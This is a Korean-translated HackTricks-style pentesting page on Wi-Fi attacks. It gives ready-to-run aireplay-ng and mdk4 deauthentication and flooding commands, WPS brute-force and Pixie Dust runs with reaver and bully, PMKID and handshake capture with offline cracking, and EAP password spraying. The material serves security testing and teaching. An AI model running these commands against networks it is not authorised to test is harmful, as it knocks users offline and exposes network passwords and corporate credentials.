mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
690 lines
48 KiB
Markdown
690 lines
48 KiB
Markdown
# Pentesting Wifi
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Wifi 기본 명령어
|
|
```bash
|
|
ip link show #List available interfaces
|
|
iwconfig #List available interfaces
|
|
airmon-ng check kill #Kill annoying processes
|
|
airmon-ng start wlan0 #Monitor mode
|
|
airmon-ng stop wlan0mon #Managed mode
|
|
airodump-ng wlan0mon #Scan (default 2.4Ghz)
|
|
airodump-ng wlan0mon --band a #Scan 5Ghz
|
|
airodump-ng wlan0mon --wps #Scan WPS
|
|
iwconfig wlan0 mode monitor #Put in mode monitor
|
|
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
|
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
|
iwlist wlan0 scan #Scan available wifis
|
|
```
|
|
## 도구
|
|
|
|
### EAPHammer
|
|
```
|
|
git clone https://github.com/s0lst1c3/eaphammer.git
|
|
./kali-setup
|
|
```
|
|
### Airgeddon
|
|
```bash
|
|
mv `which dhcpd` `which dhcpd`.old
|
|
apt install isc-dhcp-server
|
|
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
|
|
```
|
|
**도커로 airgeddon 실행하기**
|
|
```bash
|
|
docker run \
|
|
--rm \
|
|
-ti \
|
|
--name airgeddon \
|
|
--net=host \
|
|
--privileged \
|
|
-p 3000:3000 \
|
|
-v /tmp:/io \
|
|
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
|
v1s1t0r1sh3r3/airgeddon
|
|
```
|
|
### wifiphisher
|
|
|
|
Evil Twin, KARMA, 및 Known Beacons 공격을 수행할 수 있으며, 이후 피싱 템플릿을 사용하여 네트워크의 실제 비밀번호를 얻거나 소셜 네트워크 자격 증명을 캡처할 수 있습니다.
|
|
```bash
|
|
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
|
cd wifiphisher # Switch to tool's directory
|
|
sudo python setup.py install # Install any dependencies
|
|
```
|
|
### [Wifite2](https://github.com/derv82/wifite2)
|
|
|
|
이 도구는 **WPS/WEP/WPA-PSK** 공격을 자동화합니다. 자동으로 다음을 수행합니다:
|
|
|
|
- 인터페이스를 모니터 모드로 설정
|
|
- 가능한 네트워크 스캔 - 피해자 선택 가능
|
|
- WEP인 경우 - WEP 공격 시작
|
|
- WPA-PSK인 경우
|
|
- WPS인 경우: 픽시 더스트 공격 및 브루트포스 공격 (브루트포스 공격은 시간이 오래 걸릴 수 있으니 주의하세요). 널 PIN 또는 데이터베이스/생성된 PIN을 시도하지 않습니다.
|
|
- AP에서 PMKID를 캡처하여 크랙 시도
|
|
- AP의 클라이언트를 비인증하여 핸드셰이크 캡처 시도
|
|
- PMKID 또는 핸드셰이크가 있을 경우, 상위 5000개의 비밀번호를 사용하여 브루트포스 시도.
|
|
|
|
## 공격 요약
|
|
|
|
- **DoS**
|
|
- 비인증/비연결 -- 모든 사람(또는 특정 ESSID/클라이언트) 연결 끊기
|
|
- 랜덤 가짜 AP -- 네트워크 숨기기, 스캐너 충돌 가능
|
|
- AP 과부하 -- AP를 죽이려고 시도 (보통 그다지 유용하지 않음)
|
|
- WIDS -- IDS와 상호작용
|
|
- TKIP, EAPOL -- 일부 AP에 대한 DoS 공격
|
|
- **크래킹**
|
|
- **WEP** 크랙 (여러 도구 및 방법)
|
|
- **WPA-PSK**
|
|
- **WPS** 핀 "브루트포스"
|
|
- **WPA PMKID** 브루트포스
|
|
- \[DoS +] **WPA 핸드셰이크** 캡처 + 크래킹
|
|
- **WPA-MGT**
|
|
- **사용자 이름 캡처**
|
|
- **브루트포스** 자격 증명
|
|
- **이상한 쌍둥이** (DoS 유무에 관계없이)
|
|
- **오픈** 이상한 쌍둥이 \[+ DoS] -- 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
|
|
- **WPA-PSK** 이상한 쌍둥이 -- 비밀번호를 알고 있다면 네트워크 공격에 유용
|
|
- **WPA-MGT** -- 회사 자격 증명 캡처에 유용
|
|
- **KARMA, MANA**, **Loud MANA**, **Known beacon**
|
|
- **+ 오픈** -- 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
|
|
- **+ WPA** -- WPA 핸드셰이크 캡처에 유용
|
|
|
|
## DOS
|
|
|
|
### 비인증 패킷
|
|
|
|
**설명은** [**여기**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
|
|
|
**비인증** 공격은 Wi-Fi 해킹에서 널리 사용되는 방법으로, "관리" 프레임을 위조하여 **장치를 네트워크에서 강제로 연결 해제**합니다. 이 암호화되지 않은 패킷은 클라이언트가 합법적인 네트워크에서 온 것처럼 속여, 공격자가 크랙 목적으로 WPA 핸드셰이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 간단한 전술은 널리 사용되며 네트워크 보안에 중대한 영향을 미칩니다.
|
|
|
|
**Aireplay-ng를 사용한 비인증**
|
|
```
|
|
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|
```
|
|
- -0은 비인증을 의미합니다.
|
|
- 1은 전송할 비인증 수입니다(원하는 만큼 여러 개를 전송할 수 있습니다); 0은 지속적으로 전송함을 의미합니다.
|
|
- -a 00:14:6C:7E:40:80은 액세스 포인트의 MAC 주소입니다.
|
|
- -c 00:0F:B5:34:30:30은 비인증할 클라이언트의 MAC 주소입니다; 이 항목이 생략되면 브로드캐스트 비인증이 전송됩니다(항상 작동하지는 않음).
|
|
- ath0은 인터페이스 이름입니다.
|
|
|
|
### 비연결 패킷
|
|
|
|
**비연결 패킷**은 비인증 패킷과 유사하게 Wi-Fi 네트워크에서 사용되는 관리 프레임의 일종입니다. 이 패킷은 장치(예: 노트북 또는 스마트폰)와 액세스 포인트(AP) 간의 연결을 끊는 역할을 합니다. 비연결과 비인증의 주요 차이점은 사용 시나리오에 있습니다. AP는 **네트워크에서 악성 장치를 명시적으로 제거하기 위해 비인증 패킷을 방출하는 반면, 비연결 패킷은 일반적으로 AP가 종료, 재시작 또는 이동 중일 때 전송되어 모든 연결된 노드의 연결을 끊어야 합니다.**
|
|
|
|
**이 공격은 mdk4(mode "d")로 수행할 수 있습니다:**
|
|
```bash
|
|
# -c <channel>
|
|
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
|
# -e WifiName is the name of the wifi
|
|
# -B BSSID is the BSSID of the AP
|
|
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
|
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|
```
|
|
### **mdk4에 의한 더 많은 DOS 공격**
|
|
|
|
**여기**에서 **확인하세요**.
|
|
|
|
**공격 모드 b: 비콘 플러딩**
|
|
|
|
가짜 AP를 클라이언트에 표시하기 위해 비콘 프레임을 전송합니다. 이로 인해 네트워크 스캐너와 드라이버가 충돌할 수 있습니다!
|
|
```bash
|
|
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
|
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
|
# -m use real BSSIDS
|
|
# All the parameters are optional and you could load ESSIDs from a file
|
|
mdk4 wlan0mon b -a -w nta -m
|
|
```
|
|
**ATTACK MODE a: 인증 서비스 거부**
|
|
|
|
모든 접근 가능한 액세스 포인트(AP)로 인증 프레임을 전송하면, 특히 많은 클라이언트가 관련된 경우 이러한 AP가 과부하에 걸릴 수 있습니다. 이 강한 트래픽은 시스템 불안정을 초래하여 일부 AP가 멈추거나 심지어 재설정될 수 있습니다.
|
|
```bash
|
|
# -a BSSID send random data from random clients to try the DoS
|
|
# -i BSSID capture and repeat pakets from authenticated clients
|
|
# -m use real MACs
|
|
# only -a or -i can be used
|
|
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
|
```
|
|
**ATTACK MODE p: SSID Probing and Bruteforcing**
|
|
|
|
Access Point (AP) 탐색은 SSID가 제대로 공개되었는지 확인하고 AP의 범위를 확인합니다. 이 기술은 **숨겨진 SSID를 bruteforcing**하는 것과 결합되어 숨겨진 네트워크를 식별하고 접근하는 데 도움이 됩니다.
|
|
|
|
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
|
|
|
무작위 또는 중복 패킷을 다양한 QoS 큐에 전송하면 **TKIP APs**에서 Michael Countermeasures가 트리거되어 AP가 1분 동안 중단될 수 있습니다. 이 방법은 효율적인 **DoS** (서비스 거부) 공격 전술입니다.
|
|
```bash
|
|
# -t <BSSID> of a TKIP AP
|
|
# -j use inteligent replay to create the DoS
|
|
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|
```
|
|
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
|
|
|
|
AP에 **EAPOL Start 프레임**을 플러딩하면 **가짜 세션**이 생성되어 AP를 압도하고 정당한 클라이언트를 차단합니다. 또는 **가짜 EAPOL Logoff 메시지**를 주입하면 클라이언트를 강제로 연결 해제할 수 있으며, 두 방법 모두 네트워크 서비스를 효과적으로 방해합니다.
|
|
```bash
|
|
# Use Logoff messages to kick clients
|
|
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
|
```
|
|
**ATTACK MODE s: IEEE 802.11s 메쉬 네트워크에 대한 공격**
|
|
|
|
메쉬 네트워크의 링크 관리 및 라우팅에 대한 다양한 공격.
|
|
|
|
**ATTACK MODE w: WIDS 혼란**
|
|
|
|
클라이언트를 여러 WDS 노드 또는 가짜 악성 AP에 교차 연결하면 침입 탐지 및 방지 시스템을 조작하여 혼란과 잠재적인 시스템 남용을 초래할 수 있습니다.
|
|
```bash
|
|
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
|
mkd4 -e <SSID> -c <channel> [-z]
|
|
```
|
|
**공격 모드 f: 패킷 퍼저**
|
|
|
|
다양한 패킷 소스와 패킷 조작을 위한 포괄적인 수정자 세트를 갖춘 패킷 퍼저입니다.
|
|
|
|
### **Airggedon**
|
|
|
|
_**Airgeddon**_은 이전 댓글에서 제안된 대부분의 공격을 제공합니다:
|
|
|
|
.png>)
|
|
|
|
## WPS
|
|
|
|
WPS (Wi-Fi Protected Setup)는 장치를 라우터에 연결하는 과정을 간소화하여 **WPA** 또는 **WPA2** 개인용으로 암호화된 네트워크의 설정 속도와 용이성을 향상시킵니다. 쉽게 타협될 수 있는 WEP 보안에는 효과적이지 않습니다. WPS는 8자리 PIN을 사용하며, 두 부분으로 검증되어 조합 수가 제한적(11,000 가능성)으로 인해 무차별 대입 공격에 취약합니다.
|
|
|
|
### WPS 무차별 대입
|
|
|
|
이 작업을 수행하기 위한 두 가지 주요 도구가 있습니다: Reaver와 Bully.
|
|
|
|
- **Reaver**는 WPS에 대한 강력하고 실용적인 공격을 위해 설계되었으며, 다양한 액세스 포인트와 WPS 구현에 대해 테스트되었습니다.
|
|
- **Bully**는 C로 작성된 WPS 무차별 대입 공격의 **새로운 구현**입니다. 원래 Reaver 코드에 비해 몇 가지 장점이 있습니다: 의존성 감소, 메모리 및 CPU 성능 향상, 엔디안 처리의 정확성, 그리고 더 강력한 옵션 세트.
|
|
|
|
이 공격은 **WPS PIN의 취약성**을 이용하며, 특히 첫 네 자리 숫자의 노출과 마지막 자리 숫자의 체크섬 역할이 무차별 대입 공격을 용이하게 합니다. 그러나 공격자의 MAC 주소를 차단하는 것과 같은 무차별 대입 공격에 대한 방어는 공격을 계속하기 위해 **MAC 주소 회전**을 요구합니다.
|
|
|
|
Bully 또는 Reaver와 같은 도구로 WPS PIN을 얻으면 공격자는 WPA/WPA2 PSK를 유추할 수 있어 **지속적인 네트워크 접근**을 보장합니다.
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|
```
|
|
**스마트 브루트 포스**
|
|
|
|
이 정제된 접근 방식은 알려진 취약점을 사용하여 WPS PIN을 타겟으로 합니다:
|
|
|
|
1. **사전 발견된 PIN**: 특정 제조업체와 연결된 알려진 PIN의 데이터베이스를 활용하여 균일한 WPS PIN을 사용하는 것으로 알려진 제조업체를 대상으로 합니다. 이 데이터베이스는 MAC 주소의 처음 세 옥텟과 이러한 제조업체에 대한 가능성 있는 PIN을 연관시킵니다.
|
|
2. **PIN 생성 알고리즘**: AP의 MAC 주소를 기반으로 WPS PIN을 계산하는 ComputePIN 및 EasyBox와 같은 알고리즘을 활용합니다. Arcadyan 알고리즘은 추가적으로 장치 ID를 요구하여 PIN 생성 과정에 추가적인 레이어를 더합니다.
|
|
|
|
### WPS 픽시 더스트 공격
|
|
|
|
**도미니크 봉가르**는 비밀 코드를 생성하는 것과 관련하여 일부 액세스 포인트(AP)에서 결함을 발견했습니다. 이 코드는 **논스**(**E-S1** 및 **E-S2**)로 알려져 있습니다. 이러한 논스를 알아낼 수 있다면 AP의 WPS PIN을 쉽게 해킹할 수 있습니다. AP는 PIN이 합법적이고 가짜(악성) AP가 아님을 증명하기 위해 특별한 코드(해시) 내에서 PIN을 공개합니다. 이러한 논스는 본질적으로 WPS PIN을 보관하는 "금고"를 여는 "열쇠"입니다. 이에 대한 더 많은 정보는 [여기](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)에서 확인할 수 있습니다.
|
|
|
|
간단히 말해, 문제는 일부 AP가 연결 과정에서 PIN을 암호화하기 위해 충분히 무작위적인 키를 사용하지 않았다는 것입니다. 이로 인해 PIN이 네트워크 외부에서 추측될 수 있는 취약점이 생깁니다(오프라인 브루트 포스 공격).
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
|
```
|
|
장치를 모니터 모드로 전환하고 싶지 않거나 `reaver`와 `bully`에 문제가 있는 경우, [OneShot-C](https://github.com/nikita-yfh/OneShot-C)를 시도해 볼 수 있습니다. 이 도구는 모니터 모드로 전환하지 않고도 Pixie Dust 공격을 수행할 수 있습니다.
|
|
```bash
|
|
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
|
```
|
|
### Null Pin 공격
|
|
|
|
일부 잘못 설계된 시스템은 **Null PIN**(빈 또는 존재하지 않는 PIN)이 접근을 허용하도록 하며, 이는 매우 드문 경우입니다. 도구 **Reaver**는 **Bully**와 달리 이 취약점을 테스트할 수 있습니다.
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|
```
|
|
### Airgeddon
|
|
|
|
제안된 모든 WPS 공격은 _**airgeddon.**_을 사용하여 쉽게 수행할 수 있습니다.
|
|
|
|
.png>)
|
|
|
|
- 5와 6은 **사용자 정의 PIN**을 시도할 수 있게 해줍니다 (있다면)
|
|
- 7과 8은 **Pixie Dust 공격**을 수행합니다
|
|
- 13은 **NULL PIN**을 테스트할 수 있게 해줍니다
|
|
- 11과 12는 **선택한 AP와 관련된 PIN을 사용 가능한 데이터베이스에서 수집하고** **가능한 PIN을 생성**합니다: ComputePIN, EasyBox 및 선택적으로 Arcadyan (추천, 왜 안 되겠습니까?)
|
|
- 9와 10은 **모든 가능한 PIN을 테스트**합니다
|
|
|
|
## **WEP**
|
|
|
|
현재는 너무 깨져서 사용되지 않습니다. _**airgeddon**_에는 이러한 종류의 보호를 공격하기 위한 "All-in-One"이라는 WEP 옵션이 있다는 것만 알고 계십시오. 더 많은 도구들이 유사한 옵션을 제공합니다.
|
|
|
|
.png>)
|
|
|
|
---
|
|
|
|
---
|
|
|
|
## WPA/WPA2 PSK
|
|
|
|
### PMKID
|
|
|
|
2018년, **hashcat** [revealed](https://hashcat.net/forum/thread-7717.html) 새로운 공격 방법을 공개했습니다. 이 방법은 **하나의 패킷**만 필요하고, 클라이언트가 대상 AP에 연결될 필요가 없다는 점에서 독특합니다—공격자와 AP 간의 상호작용만 필요합니다.
|
|
|
|
많은 현대 라우터는 연결 중에 **첫 번째 EAPOL** 프레임에 `Robust Security Network`로 알려진 **선택적 필드**를 추가합니다. 여기에는 `PMKID`가 포함됩니다.
|
|
|
|
원래 게시물에서 설명하듯이, **PMKID**는 알려진 데이터를 사용하여 생성됩니다:
|
|
```bash
|
|
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
|
```
|
|
"PMK Name"이 일정하므로, AP와 스테이션의 BSSID를 알고 있으며, `PMK`가 전체 4-way 핸드셰이크의 것과 동일하다면, **hashcat**은 이 정보를 사용하여 PSK를 크랙하고 패스프레이즈를 복구할 수 있습니다!
|
|
|
|
이 정보를 **수집**하고 비밀번호를 로컬에서 **브루트포스**하려면 다음을 수행할 수 있습니다:
|
|
```bash
|
|
airmon-ng check kill
|
|
airmon-ng start wlan0
|
|
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
|
|
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|
```
|
|
|
|
```bash
|
|
#You can also obtains PMKIDs using eaphammer
|
|
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
|
```
|
|
캡처된 **PMKIDs**는 **콘솔**에 표시되며 **/tmp/attack.pcap** 안에 **저장**됩니다.\
|
|
이제 캡처를 **hashcat/john** 형식으로 변환하고 크랙하세요:
|
|
```bash
|
|
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
|
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
|
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
```
|
|
올바른 해시의 형식은 **4부분**으로 구성되어 있습니다. 예: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 만약 당신의 해시가 **오직** **3부분**만 포함하고 있다면, 이는 **유효하지 않습니다** (PMKID 캡처가 유효하지 않았습니다).
|
|
|
|
`hcxdumptool`은 **핸드쉐이크도 캡처합니다** (이와 같은 내용이 나타날 것입니다: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). 당신은 `cap2hccapx`를 사용하여 **핸드쉐이크**를 **hashcat**/**john** 형식으로 **변환**할 수 있습니다.
|
|
```bash
|
|
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
|
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
|
hccap2john pmkid.hccapx > handshake.john
|
|
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
|
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
|
```
|
|
_이 도구로 캡처한 일부 핸드셰이크는 올바른 비밀번호를 알고 있어도 해독할 수 없다는 것을 알게 되었습니다. 가능하다면 전통적인 방법으로도 핸드셰이크를 캡처하거나 이 도구를 사용하여 여러 개를 캡처할 것을 권장합니다._
|
|
|
|
### 핸드셰이크 캡처
|
|
|
|
**WPA/WPA2** 네트워크에 대한 공격은 **핸드셰이크**를 캡처하고 비밀번호를 **오프라인**에서 **크랙**하려고 시도함으로써 실행될 수 있습니다. 이 과정은 특정 네트워크와 특정 **채널**에서의 **BSSID** 통신을 모니터링하는 것을 포함합니다. 다음은 간소화된 가이드입니다:
|
|
|
|
1. 대상 네트워크의 **BSSID**, **채널**, 및 **연결된 클라이언트**를 식별합니다.
|
|
2. `airodump-ng`를 사용하여 지정된 채널과 BSSID에서 네트워크 트래픽을 모니터링하고 핸드셰이크를 캡처할 수 있기를 바랍니다. 명령은 다음과 같이 보일 것입니다:
|
|
```bash
|
|
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
|
```
|
|
3. 핸드셰이크를 캡처할 확률을 높이기 위해 클라이언트를 네트워크에서 잠시 분리하여 재인증을 강제합니다. 이는 클라이언트에게 비인증 패킷을 전송하는 `aireplay-ng` 명령을 사용하여 수행할 수 있습니다:
|
|
```bash
|
|
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
|
```
|
|
_클라이언트가 인증 해제되었으므로 다른 AP에 연결을 시도하거나, 다른 네트워크에 연결을 시도할 수 있습니다._
|
|
|
|
`airodump-ng`에서 핸드셰이크 정보가 나타나면 핸드셰이크가 캡처되었음을 의미하며, 이제 청취를 중지할 수 있습니다:
|
|
|
|
 (1).png>)
|
|
|
|
핸드셰이크가 캡처되면 `aircrack-ng`로 **크랙**할 수 있습니다:
|
|
```
|
|
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
|
```
|
|
### 파일에서 핸드셰이크 확인
|
|
|
|
**aircrack**
|
|
```bash
|
|
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
|
```
|
|
**tshark**
|
|
```bash
|
|
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
|
```
|
|
[**cowpatty**](https://github.com/roobixx/cowpatty)
|
|
```
|
|
cowpatty -r psk-01.cap -s "ESSID" -f -
|
|
```
|
|
_이 도구가 완료되지 않은 ESSID의 핸드셰이크를 완료된 것보다 먼저 찾으면, 유효한 것을 감지하지 못합니다._
|
|
|
|
**pyrit**
|
|
```bash
|
|
apt-get install pyrit #Not working for newer versions of kali
|
|
pyrit -r psk-01.cap analyze
|
|
```
|
|
## **WPA Enterprise (MGT)**
|
|
|
|
**기업 WiFi 설정에서는 다양한 인증 방법을 접하게 됩니다.** 각 방법은 서로 다른 보안 수준과 관리 기능을 제공합니다. `airodump-ng`와 같은 도구를 사용하여 네트워크 트래픽을 검사할 때 이러한 인증 유형의 식별자를 발견할 수 있습니다. 일반적인 방법으로는 다음이 포함됩니다:
|
|
```
|
|
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
|
```
|
|
1. **EAP-GTC (Generic Token Card)**:
|
|
- 이 방법은 EAP-PEAP 내에서 하드웨어 토큰과 일회용 비밀번호를 지원합니다. MSCHAPv2와 달리 피어 챌린지를 사용하지 않으며, 비밀번호를 평문으로 액세스 포인트에 전송하여 다운그레이드 공격의 위험을 초래합니다.
|
|
2. **EAP-MD5 (Message Digest 5)**:
|
|
- 클라이언트에서 비밀번호의 MD5 해시를 전송하는 방식입니다. 사전 공격에 대한 취약성, 서버 인증 부족, 세션별 WEP 키 생성 불가능으로 인해 **권장되지 않습니다**.
|
|
3. **EAP-TLS (Transport Layer Security)**:
|
|
- 인증을 위해 클라이언트 측 및 서버 측 인증서를 모두 사용하며, 통신을 보호하기 위해 사용자 기반 및 세션 기반 WEP 키를 동적으로 생성할 수 있습니다.
|
|
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
|
- 암호화된 터널을 통해 상호 인증을 제공하며, 사용자별 및 세션별 WEP 키를 동적으로 유도하는 방법을 제공합니다. 서버 측 인증서만 필요하며, 클라이언트는 자격 증명을 사용합니다.
|
|
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
|
- 보호된 통신을 위해 TLS 터널을 생성하여 EAP와 유사하게 작동합니다. 터널이 제공하는 보호 덕분에 EAP 위에 더 약한 인증 프로토콜을 사용할 수 있습니다.
|
|
- **PEAP-MSCHAPv2**: 종종 PEAP로 언급되며, 취약한 MSCHAPv2 챌린지/응답 메커니즘과 보호 TLS 터널을 결합합니다.
|
|
- **PEAP-EAP-TLS (또는 PEAP-TLS)**: EAP-TLS와 유사하지만 인증서 교환 전에 TLS 터널을 시작하여 추가 보안 계층을 제공합니다.
|
|
|
|
이 인증 방법에 대한 더 많은 정보는 [여기](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)와 [여기](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)에서 확인할 수 있습니다.
|
|
|
|
### 사용자 이름 캡처
|
|
|
|
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)을 읽어보면 **EAP**를 사용하는 경우 **"Identity"** **메시지**가 **지원되어야 하며**, **사용자 이름**이 **"Response Identity"** 메시지에서 **명확하게** 전송된다는 것을 알 수 있습니다.
|
|
|
|
가장 안전한 인증 방법 중 하나인 **PEAP-EAP-TLS**를 사용하더라도 **EAP 프로토콜에서 전송된 사용자 이름을 캡처하는 것이 가능합니다**. 이를 위해 **인증 통신을 캡처**하고 (채널 내에서 `airodump-ng`를 시작하고 동일한 인터페이스에서 `wireshark`를 실행) 패킷을 `eapol`로 필터링합니다.\
|
|
"**Response, Identity**" 패킷 내에서 클라이언트의 **사용자 이름**이 나타납니다.
|
|
|
|
.png>)
|
|
|
|
### 익명 아이덴티티
|
|
|
|
아이덴티티 숨기기는 EAP-PEAP와 EAP-TTLS 모두에서 지원됩니다. WiFi 네트워크의 맥락에서 EAP-Identity 요청은 일반적으로 연결 과정 중에 액세스 포인트(AP)에 의해 시작됩니다. 사용자 익명성을 보호하기 위해, 사용자의 장치에서 EAP 클라이언트의 응답은 초기 RADIUS 서버가 요청을 처리하는 데 필요한 필수 정보만 포함합니다. 이 개념은 다음 시나리오를 통해 설명됩니다:
|
|
|
|
- EAP-Identity = anonymous
|
|
- 이 시나리오에서 모든 사용자는 사용자 식별자로 가명 "anonymous"를 사용합니다. 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하며, PEAP 또는 TTLS 프로토콜의 서버 측을 관리합니다. 내부(보호된) 인증 방법은 로컬에서 처리되거나 원격(홈) RADIUS 서버에 위임됩니다.
|
|
- EAP-Identity = anonymous@realm_x
|
|
- 이 상황에서 서로 다른 영역의 사용자는 자신의 영역을 나타내면서 신원을 숨깁니다. 이를 통해 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 요청을 해당 영역의 RADIUS 서버로 프록시할 수 있으며, 이 서버는 PEAP 또는 TTLS 서버로 작동합니다. 초기 RADIUS 서버는 RADIUS 릴레이 노드로만 작동합니다.
|
|
- 또는 초기 RADIUS 서버가 EAP-PEAP 또는 EAP-TTLS 서버로 작동하고 보호된 인증 방법을 처리하거나 다른 서버로 전달할 수 있습니다. 이 옵션은 다양한 영역에 대해 별도의 정책 구성을 용이하게 합니다.
|
|
|
|
EAP-PEAP에서는 PEAP 서버와 PEAP 클라이언트 간에 TLS 터널이 설정되면, PEAP 서버가 EAP-Identity 요청을 시작하고 이를 TLS 터널을 통해 전송합니다. 클라이언트는 암호화된 터널을 통해 사용자의 실제 아이덴티티를 포함한 EAP-Identity 응답을 전송하여 이 두 번째 EAP-Identity 요청에 응답합니다. 이 접근 방식은 802.11 트래픽을 엿보는 누구에게도 사용자의 실제 아이덴티티가 드러나는 것을 효과적으로 방지합니다.
|
|
|
|
EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언트가 일반적으로 PAP 또는 CHAP을 사용하여 TLS 터널로 보호된 인증을 수행합니다. 이 경우 클라이언트는 터널 설정 후 전송된 초기 TLS 메시지에 User-Name 속성과 Password 또는 CHAP-Password 속성을 포함합니다.
|
|
|
|
선택한 프로토콜에 관계없이, PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 아이덴티티를 알게 됩니다. 실제 아이덴티티는 user@realm 또는 단순히 user로 표현될 수 있습니다. PEAP/TTLS 서버가 사용자 인증을 담당하는 경우, 이제 사용자의 아이덴티티를 보유하고 TLS 터널로 보호된 인증 방법을 진행합니다. 또는 PEAP/TTLS 서버가 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달할 수 있습니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우, 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 홈 RADIUS 서버로 전송됩니다. 발신 RADIUS 메시지의 User-Name 속성에는 사용자의 실제 아이덴티티가 포함되어 있으며, 수신 RADIUS 요청의 익명 User-Name을 대체합니다. 보호된 인증 방법이 PAP 또는 CHAP(오직 TTLS에서만 지원)인 경우, TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 발신 RADIUS 메시지에 대체되어 수신 RADIUS 요청에서 발견된 익명 User-Name 및 TTLS EAP-Message 속성을 대체합니다.
|
|
|
|
자세한 정보는 [여기](https://www.interlinknetworks.com/app_notes/eap-peap.htm)에서 확인하세요.
|
|
|
|
### EAP-Bruteforce (비밀번호 스프레이)
|
|
|
|
클라이언트가 **사용자 이름과 비밀번호**를 사용할 것으로 예상되는 경우(**EAP-TLS는 이 경우 유효하지 않음**), **사용자 이름**(다음 부분 참조)과 **비밀번호** 목록을 얻고 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**를 사용하여 액세스를 **브루트포스** 시도할 수 있습니다.**
|
|
```bash
|
|
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
|
```
|
|
이 공격은 `eaphammer`를 사용하여 수행할 수도 있습니다:
|
|
```bash
|
|
./eaphammer --eap-spray \
|
|
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
|
--essid example-wifi \
|
|
--password bananas \
|
|
--user-list users.txt
|
|
```
|
|
## 클라이언트 공격 이론
|
|
